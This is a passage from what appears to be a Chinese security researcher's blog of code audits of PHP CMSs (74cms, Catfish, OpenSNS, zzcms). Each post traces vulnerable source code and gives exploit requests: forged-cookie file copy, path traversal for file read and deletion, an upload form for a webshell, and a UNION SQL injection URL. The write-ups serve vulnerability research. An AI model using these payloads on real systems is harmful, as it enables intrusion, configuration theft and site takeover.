<div class="codehilite code_lang_php highlight"><pre><span></span> <span class="s1">'COOKIE_PREFIX'</span> <span class="o">=></span> <span class="s1">''</span><span class="p">,</span> <span class="c1">// Cookie前缀 避免冲突</span>
</pre></div>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">那么这就解决了cookie伪造的问题。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">然后接下里就是复制后的文件路径的问题,文件夹都还是比较好找,是在data\upload\avatar\年月\日</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">目录下。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">那么文件名如何获得,文件名上文提到了额是$data['uid']+time()。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start">首先我们来解决time(),time很简单,直接注册登录一个账号,然后查看头像处的源代码,png?后面那一串就是time(),如图:<br /></span>
<span class="md_line md_line_dom_embed md_line_with_image"><img class="md_compiled " src="/代码审计/images/1.jpg" alt="" title="" ><br /></span>
<span class="md_line img_before only_img_before md_line_end">好,time()我们能够得到一个大概了(误差不超过几秒),到时候稍微一爆破就搞定,接下来就是$data['uid']了,那么这个$data['uid']我们可以控制么?</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">答案是肯定的。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">我们可以在cookie中指定uid来让我们的uid固定,但是为了不防止跟表里的用户冲突(主键唯一),我们将uid设大一点,比如说6666666。</span>
</p>
<h1 id="toc_2" class="h16">漏洞证明</h1>
<p class="md_block">
<span class="md_line md_line_start md_line_end">首先让文件先拷贝(这里我们拷贝db.php):</span>
</p>
<pre><code>http://localhost/74cms42/index.php?m=&c=members&a=register
POST: ajax=1&reg_type=2&utype=2&org=bind&ucenter=bind
COOKIE:
members_bind_info[temp_avatar]=../../../../Application/Common/Conf/db.php
members_bind_info[type]=qq
members_uc_info[password]=balisong
members_uc_info[uid]=666666
members_uc_info[username]=balisong</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">这里要加入五个cookie,并且都是以数组的形式的cookie。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">其实到这一步文件已经复制好了,我们可以去/data/upload/avatar/年月/日文件夹下去看一下:</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">比如我利用的时候是2017年6月28日,那么文件夹如下:</span>
</p>
<p class="md_block">
<span class="md_line md_line_start"><strong>data\upload\avatar\1706\28<br /></span>
<span class="md_line"></strong><br /></span>
<span class="md_line">可以看到,已经有一张图片了:<br /></span>
<span class="md_line md_line_dom_embed md_line_with_image"><img class="md_compiled " src="/代码审计/images/2.jpg" alt="" title="" ><br /></span>
<span class="md_line img_before only_img_before md_line_end">我们打开看一下这张图片的内容,也确实是db.php的内容。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">那么我们如何去url访问到这张图片。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start">首先我们uid已经固定好了,是666666了,然后我们得到time(),如图:<br /></span>
<span class="md_line md_line_dom_embed md_line_with_image"><img class="md_compiled " src="/代码审计/images/3.jpg" alt="" title="" ><br /></span>
<span class="md_line img_before only_img_before md_line_end">我这里是1498581147。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">然后我们是提前查看的这个time再打的payload,</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">那么payload的time比这个time是要多的,但是控制在300秒以内。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start">我们爆破一下就能得到文件名,生成一下字典,然后载入burpsuite开始跑。<br /></span>
<span class="md_line md_line_dom_embed md_line_with_image"><img class="md_compiled " src="/代码审计/images/4.jpg" alt="" title="" ><br /></span>
<span class="md_line md_line_dom_embed md_line_with_image img_before only_img_before md_line_end"><img class="md_compiled " src="/代码审计/images/5.jpg" alt="" title="" ></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">得到的是md5(666666.1498581227)==6656852797209251cdfea25fd3b25b96</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">与上文文件名吻合。我们访问一下:</span>
</p>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_start md_line_end"><strong>http://localhost/74cms42/data/upload/avatar/1706/28/6656852797209251cdfea25fd3b25b96.jpg</strong></span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">然后将图像下载保存就可以看到db.php的内容了。</span>
</p>
Catfish CMS两处任意文件操作
2017-03-27T05:28:00Z
dai-ma-shen-ji/2017-03-27
Balis0ng's blog
<p class="md_block">
<span class="md_line md_line_start md_line_end">闲来无事做,好久不挖洞了..搞安卓搞得心烦意乱..花半小时挖点小cms调节一下。</span>
</p>
<h2 id="toc_0" class="h16">任意文件删除</h2><h4 id="toc_1" class="h16">漏洞触发点:</h4>
<p class="md_block">
<span class="md_line md_line_start md_line_end">在/application/user/controller/Index.php中第93行:</span>
</p>
<pre><code>public function touxiang()
{
$this->checkUser();
if(Request::instance()->isPost())
{
//验证输入内容
$rule = [
'avatar' => 'require'
];
$msg = [
'avatar.require' => Lang::get('Please upload your avatar')
];
$data = [
'avatar' => Request::instance()->post('avatar')
];
$validate = new Validate($rule, $msg);
if(!$validate->check($data))
{
$this->error($validate->getError());//验证错误输出
return false;
}
$avatar = Db::name('users')
->where('id', Session::get($this->session_prefix.'user_id'))
->field('avatar')
->find();
$yuming = Db::name('options')->where('option_name','domain')->field('option_value')->find();
//删除原图
if(Request::instance()->post('avatar') != $avatar['avatar'])
{
$yfile = str_replace($yuming['option_value'],'',$avatar['avatar']);
if(!empty($yfile)){
$yfile = substr($yfile,0,1)=='/' ? substr($yfile,1) : $yfile;
$yfile = str_replace("/", DS, $yfile);
@unlink(APP_PATH . '..'. DS . $yfile);
}
}
$data = ['avatar' => Request::instance()->post('avatar')];
Db::name('users')
->where('id', Session::get($this->session_prefix.'user_id'))
->update($data);
}
$this->receive();
$this->assign('active', 'touxiang');
$view = $this->fetch();
return $view;
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start">可以看到这里有个unlink的操作,我们看一下参数有一个<strong>$yfile</strong>:<br /></span>
<span class="md_line">回溯一下该变量,发现源头的是我们从数据库中取出的<strong>avatar</strong>经过替换得到的一个字符串,那么数据库里的avatar是什么值呢?<br /></span>
<span class="md_line">我们可以看到,这个其实就是我们编辑完头像的名字存到数据库里的,那么如果这个东西可控的话,那么unlink的文件也是可控的,那么我们就可以达到一个任意文件删除的目的了。那么这个入库的东西到底可不可控呢?答案是<strong>可控的</strong><br /></span>
<span class="md_line md_line_end">就看这两处:</span>
</p>
<pre><code>$data = [
'avatar' => Request::instance()->post('avatar')
];</code></pre>
<!--block_code_end-->
<pre><code>Db::name('users')
->where('id', Session::get($this->session_prefix.'user_id'))
->update($data);</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">可以看到其实直接将我们post过来的avatar变量入了库,没有进行检测,导致我们可以构造任意的值。达到一个任意文件删除的目的。</span>
</p>
<h4 id="toc_2" class="h16">漏洞利用</h4>
<p class="md_block">
<span class="md_line md_line_start">利用也很简单:<br /></span>
<span class="md_line md_line_end">首先注册登录一个账号,然后构造发包:</span>
</p>
<pre><code>http://localhost/catfish/user/index/touxiang.html
POST: avatar=application/install.lock</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">然后再POST一次不同的avatar的值,就可以删除掉install.lock文件了,达到一个重装的效果。</span>
</p>
<h2 id="toc_3" class="h16">任意文件读取</h2><h4 id="toc_4" class="h16">漏洞触发点</h4>
<p class="md_block">
<span class="md_line md_line_start md_line_end">我对于这个漏洞是很奇怪的,并没有搞懂开发人员的想法,在/application/multimedia/controller/Index.php中的index方法:</span>
</p>
<pre><code>public function index()
{
if(Request::instance()->has('path','get') && Request::instance()->has('ext','get') && Request::instance()->has('media','get'))
{
if(Request::instance()->get('media') == 'image')
{
echo APP_PATH.'plugins/'.Request::instance()->get('path');
header("Content-Type: image/".Request::instance()->get('ext'));
echo file_get_contents(APP_PATH.'plugins/'.Request::instance()->get('path'));
exit;
}
}
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start">这三个参数可控,并且没有任何过滤,这个controller也没有任何权限验证,所以说直接不用登陆就可以读取任意文件,比如说读取配置文件:<br /></span>
<span class="md_line md_line_dom_embed md_line_end"><strong>http://localhost/catfish/multimedia/index/index.html?ext=jpg&media=image&path=../database.php</strong></span>
</p>
<h2 id="toc_5" class="h16">后记</h2>
<p class="md_block">
<span class="md_line md_line_start md_line_end">渣渣洞,没有多高技术含量,仅供学习。</span>
</p>
opensns最新版前台getshell
2017-02-21T04:33:00Z
dai-ma-shen-ji/2017-02-21
Balis0ng's blog
<p class="md_block">
<span class="md_line md_line_start md_line_end">其实这个漏洞是我作为90sec的开年礼物,不过直到今天才想到要搬到博客上来,也算是一种公开吧。大家作为学习就行,不要恶意利用攻击他人。</span>
</p>
<h2 id="toc_0" class="h16">漏洞分析</h2>
<p class="md_block">
<span class="md_line md_line_start md_line_end">我们先看漏洞触发点:在/Application/Weibo/Controller/ShareController.class.php中第20行:</span>
</p>
<pre><code>public function doSendShare(){
$aContent = I('post.content','','text');
$aQuery = I('post.query','','text');
parse_str($aQuery,$feed_data);
if(empty($aContent)){
$this->error(L('_ERROR_CONTENT_CANNOT_EMPTY_'));
}
if(!is_login()){
$this->error(L('_ERROR_SHARE_PLEASE_FIRST_LOGIN_'));
}
$new_id = send_weibo($aContent, 'share', $feed_data,$feed_data['from']);
$user = query_user(array('nickname'), is_login());
$info = D('Weibo/Share')->getInfo($feed_data);</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">可以看到这里的$aContent和$aQuery都是我们POST进来的,是我们可控的,然后可以看到将$aQuery这个变量做了一个parse_str()操作。</span>
</p>
<pre><code>parse_str($aQuery,$feed_data);</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start">然后我们开始跟踪$feed_data这个变量。可以看到最后一行将$feed_data这个变量带入到了getInfo()这个函数中。我们追踪一下该函数:<br /></span>
<span class="md_line md_line_end">在/Application/Weibo/Model/ShareModel.class.php中:</span>
</p>
<pre><code>public function getInfo($param)
{
$info = array();
if(!empty($param['app']) && !empty($param['model']) && !empty($param['method'])){
$info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']);
}
return $info;
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">可以看到这里的形参$param就是我们传进来的$feed_data实参。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">这里有一个操作很有意思:</span>
</p>
<pre><code>$info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']);</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start">其中$param['app']以及$param['model'],$param['method'],$param['id']都是我们可控的。<br /></span>
<span class="md_line">其中这个D()函数是thinkphp中的一个实例化类型的函数,我们追踪一下:<br /></span>
<span class="md_line md_line_end">在/ThinkPHP/Common/functions.php中第616行:</span>
</p>
<pre><code>function D($name = '', $layer = '')
{
if (empty($name)) return new Think\Model;
static $_model = array();
$layer = $layer ? : C('DEFAULT_M_LAYER');
if (isset($_model[$name . $layer]))
return $_model[$name . $layer];
$class = parse_res_name($name, $layer);
if (class_exists($class)) {
$model = new $class(basename($name));
} elseif (false === strpos($name, '/')) {
// 自动加载公共模块下面的模型
if (!C('APP_USE_NAMESPACE')) {
import('Common/' . $layer . '/' . $class);
} else {
$class = '\\Common\\' . $layer . '\\' . $name . $layer;
}
$model = class_exists($class) ? new $class($name) : new Think\Model($name);
} else {
\Think\Log::record('D方法实例化没找到模型类' . $class, Think\Log::NOTICE);
$model = new Think\Model(basename($name));
}
$_model[$name . $layer] = $model;
return $model;
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start">这个函数有两个参数,但是我们只能控制第一个参数的值,也就是形参$name的值。<br /></span>
<span class="md_line md_line_end">那么可以看到如果$layer为空的话,就取C('DEFAULT_M_LAYER')的值,那么这个值是多少呢?</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">在/ThinkPHP/Conf/convention.php中有:</span>
</p>
<pre><code>DEFAULT_M_LAYER' => 'Model', // 默认的模型层名称</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start">那么就是取默认的值,也就是Model。<br /></span>
<span class="md_line">那么意思就是说,我们只能实例化一个类名格式如xxxxxModel这样的类。<br /></span>
<span class="md_line md_line_end">然后调用该类的哪一个方法也是我们可控的,就连方法的第一个参数也是我们可控的。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">如上文所说</span>
</p>
<pre><code>$info = D($param['app'].'/'.$param['model'])->$param['method']($param['id']);</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">其中$param['method']就是我们要调用的方法名称,$param['id']就是该方法的第一个参数。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">好了,大概意思就是我们能够一个实例化一个名称为xxxxxxModel的类,并调用它其中的一个任意一个public方法。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start">刚开始以为这能够造成一个任意代码执行啥的..结果找了很久发现并不能实例化到任意代码执行的那个类。所以又得重新找其它类。然后找来找去找到了在/Application/Home/Model/FileModel.class.php中的FileModel类。<br /></span>
<span class="md_line md_line_end">这个类里面有一个文件上传函数:</span>
</p>
<pre><code>public function upload($files, $setting, $driver = 'Local', $config = null){
/* 上传文件 */
$setting['callback'] = array($this, 'isFile');
$Upload = new \Think\Upload($setting, $driver, $config);
$info = $Upload->upload($files);
/* 设置文件保存位置 */
$this->_auto[] = array('location', 'Ftp' === $driver ? 1 : 0, self::MODEL_INSERT);
if($info){ //文件上传成功,记录文件信息
foreach ($info as $key => &$value) {
/* 已经存在文件记录 */
if(isset($value['id']) && is_numeric($value['id'])){
continue;
}
/* 记录文件信息 */
if($this->create($value) && ($id = $this->add())){
$value['id'] = $id;
} else {
//TODO: 文件上传成功,但是记录文件信息失败,需记录日志
unset($info[$key]);
}
}
return $info; //文件上传成功
} else {
$this->error = $Upload->getError();
return false;
}
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start">那么意思是我们就能够调用这个文件上传函数了,我们看一下这个文件上传函数:<br /></span>
<span class="md_line">其中上传文件驱动默认的是Local,也就是说一定是存储在本地的。<br /></span>
<span class="md_line">然后$config没有进行赋值,默认是null.<br /></span>
<span class="md_line md_line_end">然后在第三行调用了upload()函数,我们追踪一下:</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">在/ThinkPHP/Library/Think/Upload.class.php中第128行:</span>
</p>
<pre><code>public function upload($files = '')
{
if ('' === $files) {
$files = $_FILES;
}
if (empty($files)) {
$this->error = '没有上传的文件!';
return false;
}
/* 检测上传根目录 */
if (!$this->uploader->checkRootPath()) {
$this->error = $this->uploader->getError();
return false;
}
/* 检查上传目录 */
if (!$this->uploader->checkSavePath($this->savePath)) {
$this->error = $this->uploader->getError();
return false;
}
/* 逐个检测并上传文件 */
$info = array();
if (function_exists('finfo_open')) {
$finfo = finfo_open(FILEINFO_MIME_TYPE);
}
// 对上传文件数组信息处理
$files = $this->dealFiles($files);
foreach ($files as $key => $file) {
if (!isset($file['key'])) $file['key'] = $key;
/* 通过扩展获取文件类型,可解决FLASH上传$FILES数组返回文件类型错误的问题 */
if (isset($finfo)) {
$file['type'] = finfo_file($finfo, $file['tmp_name']);
}
/* 获取上传文件后缀,允许上传无后缀文件 */
$file['ext'] = pathinfo($file['name'], PATHINFO_EXTENSION);
/* 文件上传检测 */
if (!$this->check($file)) {
continue;
}
/* 获取文件hash */
if ($this->hash) {
$file['md5'] = md5_file($file['tmp_name']);
$file['sha1'] = sha1_file($file['tmp_name']);
}
/* 调用回调函数检测文件是否存在 */
$data = call_user_func($this->callback, $file);
if ($this->callback && $data) {
$drconfig = $this->driverConfig;
$fname = str_replace('http://' . $drconfig['domain'] . '/', '', $data['url']);
if (file_exists('.' . $data['path'])) {
$info[$key] = $data;
continue;
} elseif ($this->uploader->info($fname)) {
$info[$key] = $data;
continue;
} elseif ($this->removeTrash) {
call_user_func($this->removeTrash, $data); //删除垃圾据
}
}
/* 生成保存文件名 */
$savename = $this->getSaveName($file);
if (false == $savename) {
continue;
} else {
$file['savename'] = $savename;
//$file['name'] = $savename;
}
/* 检测并创建子目录 */
$subpath = $this->getSubPath($file['name']);
if (false === $subpath) {
continue;
} else {
$file['savepath'] = $this->savePath . $subpath;
}
/* 对图像文件进行严格检测 */
$ext = strtolower($file['ext']);
if (in_array($ext, array('gif', 'jpg', 'jpeg', 'bmp', 'png', 'swf'))) {
$imginfo = getimagesize($file['tmp_name']);
if (empty($imginfo) || ($ext == 'gif' && empty($imginfo['bits']))) {
$this->error = '非法图像文件!';
continue;
}
}
$file['rootPath'] = $this->config['rootPath'];
$name = get_addon_class($this->driver);
if (class_exists($name)) {
$class = new $name();
if (method_exists($class, 'uploadDealFile')) {
$class->uploadDealFile($file);
}
}
/* 保存文件 并记录保存成功的文件 */
if ($this->uploader->save($file, $this->replace)) {
unset($file['error'], $file['tmp_name']);
$info[$key] = $file;
} else {
$this->error = $this->uploader->getError();
}
}
if (isset($finfo)) {
finfo_close($finfo);
}
return empty($info) ? false : $info;
}
这就是thinkphp内置的upload()函数了,我们主要看一下以下几点:
if ('' === $files) {
$files = $_FILES;
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">如果$files是空的话,它会默认检查整个$_FILES数组,意味着不需要我们设定特定上传文件表单名。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">然后重点就是对于后缀检测的这里:</span>
</p>
<pre><code>/* 文件上传检测 */
if (!$this->check($file)) {
continue;
}
调用了check()函数,我们追踪一下:
在该文件的294行:
private function check($file)
{
/* 文件上传失败,捕获错误代码 */
if ($file['error']) {
$this->error($file['error']);
return false;
}
/* 无效上传 */
if (empty($file['name'])) {
$this->error = '未知上传错误!';
}
/* 检查是否合法上传 */
if (!is_uploaded_file($file['tmp_name'])) {
$this->error = '非法上传文件!';
return false;
}
/* 检查文件大小 */
if (!$this->checkSize($file['size'])) {
$this->error = '上传文件大小不符!';
return false;
}
/* 检查文件Mime类型 */
//TODO:FLASH上传的文件获取到的mime类型都为application/octet-stream
if (!$this->checkMime($file['type'])) {
$this->error = '上传文件MIME类型不允许!';
return false;
}
/* 检查文件后缀 */
if (!$this->checkExt($file['ext'])) {
$this->error = '上传文件后缀不允许';
return false;
}
/* 通过检测 */
return true;
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">首先看一下mimel类型的检测,调用了checkmime()函数,我们追踪一下:</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">在该文件的380行:</span>
</p>
<pre><code>private function checkMime($mime)
{
return empty($this->config['mimes']) ? true : in_array(strtolower($mime), $this->mimes);
}
可以看到如果$this->config['mimes']为空的话,就直接返回true了。通过上文可以知道,$config没赋值的话就是为默认的的,
而默认的$config是:
private $config = array(
'mimes' => array(), //允许上传的文件MiMe类型
'maxSize' => 0, //上传的文件大小限制 (0-不做限制)
'exts' => array(), //允许上传的文件后缀
'autoSub' => true, //自动子目录保存文件
'subName' => array('date', 'Y-m-d'), //子目录创建方式,[0]-函数名,[1]-参数,多个参数使用数组
'rootPath' => './Uploads/', //保存根路径
'savePath' => '', //保存路径
'saveName' => array('uniqid', ''), //上传文件命名规则,[0]-函数名,[1]-参数,多个参数使用数组
'saveExt' => '', //文件保存后缀,空则使用原后缀
'replace' => false, //存在同名是否覆盖
'hash' => true, //是否生成hash编码
'callback' => false, //检测文件是否存在回调,如果存在返回文件信息数组
'driver' => '', // 文件上传驱动
'driverConfig' => array(), // 上传驱动配置
);</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start">所以这里肯定是返回true的,所以mime类型检测绕过了。<br /></span>
<span class="md_line">然后我们开始看后缀检测:<br /></span>
<span class="md_line md_line_end">调用了一个checkExt()函数,我们追踪一下:</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">在389行:</span>
</p>
<pre><code>private function checkExt($ext)
{
return empty($this->config['exts']) ? true : in_array(strtolower($ext), $this->exts);
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">可以看到跟上面的一样,由于我们没有设定限定后缀,所以对于任意后缀的文件都是开放通行的,所以看到这里,就知道了,可以造成一个任意文件上传的漏洞。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">但是这里有另外一个问题,就是我们并不知道上传上去的路径是多少,我们可以看一下这里对于上传后的文件名是怎么处理的:</span>
</p>
<pre><code>$savename = $this->getSaveName($file);</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">调用了一个getSaveName()函数,我们追踪一下:</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">在第398行:</span>
</p>
<pre><code>private function getSaveName($file)
{
$rule = $this->saveName;
if (empty($rule)) { //保持文件名不变
/* 解决pathinfo中文文件名BUG */
$filename = substr(pathinfo("_{$file['name']}", PATHINFO_FILENAME), 1);
$savename = $filename;
} else {
$savename = $this->getName($rule, $file['name']);
if (empty($savename)) {
$this->error = '文件命名规则错误!';
return false;
}
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">我们看一下我们的$this->saveName为多少,在默认的$config中有定义:</span>
</p>
<pre><code>'saveName' => array('uniqid', ''),</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start">所以不为空,我们就没办法保证保持文件名不变了,肯定会被重命名的,<br /></span>
<span class="md_line md_line_end">那么又调用了一个getName()函数,我们追踪一下:</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">在该文件的第444行:</span>
</p>
<pre><code>private function getName($rule, $filename)
{
$name = '';
if (is_array($rule)) { //数组规则
$func = $rule[0];
$param = (array)$rule[1];
foreach ($param as &$value) {
$value = str_replace('__FILE__', $filename, $value);
}
$name = call_user_func_array($func, $param);
} elseif (is_string($rule)) { //字符串规则
if (function_exists($rule)) {
$name = call_user_func($rule);
} else {
$name = $rule;
}
}
return $name;
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start">可以看到$name的赋值结果了..就是调用了uniqid()这个函数,而这个函数很不好处理:<br /></span>
<span class="md_line">uniqid() 函数基于以微秒计的当前时间,生成一个唯一的 ID。<br /></span>
<span class="md_line md_line_end">我的天,以微秒计的唯一ID,就算要爆破的话,都不好爆破。所以得另想办法。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">我们回到FileModel类的upload函数再去看一看:</span>
</p>
<pre><code>if($info){ //文件上传成功,记录文件信息
foreach ($info as $key => &$value) {
/* 已经存在文件记录 */
if(isset($value['id']) && is_numeric($value['id'])){
continue;
}
/* 记录文件信息 */
if($this->create($value) && ($id = $this->add())){
$value['id'] = $id;</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start">可以发现,当我们上传完东西后,是会把我们上传的信息给记录下来的,而记录在哪里呢?没错,就是在数据库当中的ocenter_file表里面,我们可以去看一下:<br /></span>
<span class="md_line md_line_dom_embed md_line_with_image"><img class="md_compiled " src="/代码审计/image/123.jpg" alt="" title="" ><br /></span>
<span class="md_line img_before only_img_before">可以看到我们上传的东西,这里都会有记录,包括文件保存的位置和保存的文件名,都有。<br /></span>
<span class="md_line">所以如果我们想知道上传后的位置和文件名,只需要我们能够从数据库中得到数据就可以了,那么怎么得到呢?<br /></span>
<span class="md_line">没错,就是通过注入!<br /></span>
<span class="md_line md_line_end">注入倒是好挖,但是我们需要方便快捷一点,所以我们就需要一个能够回显的注入。</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">所以我又挖了一个这个cms的注入漏洞带回显的,在Application/Ucenter/Controller/IndexController.class.php中的information函数中:</span>
</p>
<pre><code>public function information($uid = null)
{
//调用API获取基本信息
//TODO tox 获取省市区数据
$user = query_user(array('nickname', 'signature', 'email', 'mobile', 'rank_link', 'sex', 'pos_province', 'pos_city', 'pos_district', 'pos_community'), $uid);
可以看到把$uid带入到了query_user函数中,我们追踪一下该函数,在/Application/Common/Model/UserModel.class.php中:
function query_user($pFields = null, $uid = 0)
{
$user_data = array();//用户数据
$fields = $this->getFields($pFields);//需要检索的字段
$uid = (intval($uid) != 0 ? $uid : get_uid());//用户UID
//获取缓存过的字段,尽可能在此处命中全部数据
list($cacheResult, $fields) = $this->getCachedFields($fields, $uid);
$user_data = $cacheResult;//用缓存初始用户数据
//从数据库获取需要检索的数据,消耗较大,尽可能在此代码之前就命中全部数据
list($user_data, $fields) = $this->getNeedQueryData($user_data, $fields, $uid);</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">这里有个细节很重要,就是看$uid重新赋值的时候:</span>
</p>
<pre><code>$uid = (intval($uid) != 0 ? $uid : get_uid());//用户UID</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">它验证的是intval($uid)是否为0,但是取值的时候并没有intval,所以这个地方注入语句不会被过滤掉,然后我们跟进getNeddQueryData这个函数看看:</span>
</p>
<pre><code>private function getNeedQueryData($user_data, $fields, $uid)
{
$need_query = array_intersect($this->table_fields, $fields);
//如果有需要检索的数据
if (!empty($need_query)) {
$db_prefix=C('DB_PREFIX');
$query_results = D('')->query('select ' . implode(',', $need_query) . " from `{$db_prefix}member`,`{$db_prefix}ucenter_member` where uid=id and uid={$uid} limit 1");
$query_result = $query_results[0];
$user_data = $this->combineUserData($user_data, $query_result);
$fields = $this->popGotFields($fields, $need_query);
$this->writeCache($uid, $query_result);
}
return array($user_data, $fields);
}</code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">可以看到,直接给$uid拼接到sql语句中去了,所以造成了一个注入,并且这个注入是有回显的,非常方便。</span>
</p>
<h2 id="toc_1" class="h16">利用方式:</h2>
<p class="md_block">
<span class="md_line md_line_start md_line_end">在首先,我们注册一个前台用户并登录上去(这种sns系统肯定会提供前台注册啦)</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">然后我们开始构造上传表单:</span>
</p>
<pre><code><html>
<body>
<form action="http://localhost/index.php?s=/weibo/share/doSendShare.html" method="post"
enctype="multipart/form-data">
<label for="file">Filename:</label>
<input type="file" name="file_img" id="file" />
<br />
<input type="text" name="content" value="123" id="1" />
<input type="text" name="query" id="2" value="app=Home&model=File&method=upload&id="/>
<input type="submit" name="submit" value="Submit" />
</form>
</body>
</html></code></pre>
<!--block_code_end-->
<p class="md_block">
<span class="md_line md_line_start md_line_end">然后我们开始上传我们的webshell:</span>
</p>
<p class="md_block">
<span class="md_line md_line_start">这里的两个框框里的数据都不要改,直接上传我们的shell就可以了:<br /></span>
<span class="md_line md_line_dom_embed md_line_with_image"><img class="md_compiled " src="/代码审计/image/124jpg.jpg" alt="" title="" ><br /></span>
<span class="md_line img_before only_img_before md_line_end">然后我们点击上传,就可以成功上传了,但是上传后是不会有路径回显的,所以我们下一步,开始注入:</span>
</p>
<h3 id="toc_2" class="h16">payload:</h3>
<p class="md_block">
<span class="md_line md_line_dom_embed md_line_start"><em>http://localhost/index.php?s=/ucenter/index/information/uid/23333%20union%20(select%201,2,concat(savepath,savename),4%20from%20ocenter_file%20where%20savename%20like%200x252e706870%20order%20by%20id%20desc%20limit%200,1)%23.html</em><br /></span>
<span class="md_line">就能得到我们shell的保存路径了,如图:<br /></span>
<span class="md_line md_line_dom_embed md_line_with_image"><img class="md_compiled " src="/代码审计/image/125.jpg" alt="" title="" ><br /></span>
<span class="md_line img_before only_img_before md_line_end">那么最终shell的路径就是:</span>
</p>
<p class="md_block">
<span class="md_line md_line_start md_line_end">http://localhost/Uploads/2017-01-20/5881ce0db9438.php</span>
</p>
zzcms最新产品版任意文件删除(可导致重装)
2016-11-30T13:52:00Z
dai-ma-shen-ji/2016-11-30
Balis0ng's blog
<p class="md_block">
<span class="md_line md_line_start md_line_end">先来看可以导致任意文件删除的地方,在E:/www/zzcms/user/delimg.php中第12行:</span>
</p>
<div class="codehilite code_lang_php highlight"><pre><span></span><span class="nv">$id</span><span class="o">=</span><span class="nv">$_REQUEST</span><span class="p">[</span><span class="s1">'id'</span><span class="p">];</span>
<span class="nv">$sql</span><span class="o">=</span><span class="s2">"select img,img2,img3,flv,editor from zzcms_main where id ='</span><span class="si">$id</span><span class="s2">'"</span><span class="p">;</span>
<span class="nv">$rs</span><span class="o">=</span><span class="nb">mysql_query</span><span class="p">(</span><span class="nv">$sql</span><span class="p">);</span>
<span class="nv">$row</span><span class="o">=</span><span class="nb">mysql_fetch_array</span><span class="p">(</span><span class="nv">$rs</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="nv">$_REQUEST</span><span class="p">[</span><span class="s1">'action'</span><span class="p">]</span><span class="o">==</span><span class="mi">1</span><span class="p">){</span>
<span class="k">if</span> <span class="p">(</span><span class="nv">$row</span><span class="p">[</span><span class="s1">'img'</span><span class="p">]</span><span class="o"><></span><span class="s2">"/image/nopic.gif"</span><span class="p">){</span>
<span class="nv">$f</span><span class="o">=</span><span class="s2">"../"</span><span class="o">.</span><span class="nb">substr</span><span class="p">(</span><span class="nv">$row</span><span class="p">[</span><span class="s1">'img'</span><span class="p">],</span><span class="mi">1</span><span class="p">);</span>
<span class="k">if</span> <span class="p">(</span><span class="nb">file_exists</span><span class="p">(</span><span class="nv">$f</span><span class="p">)){</span>
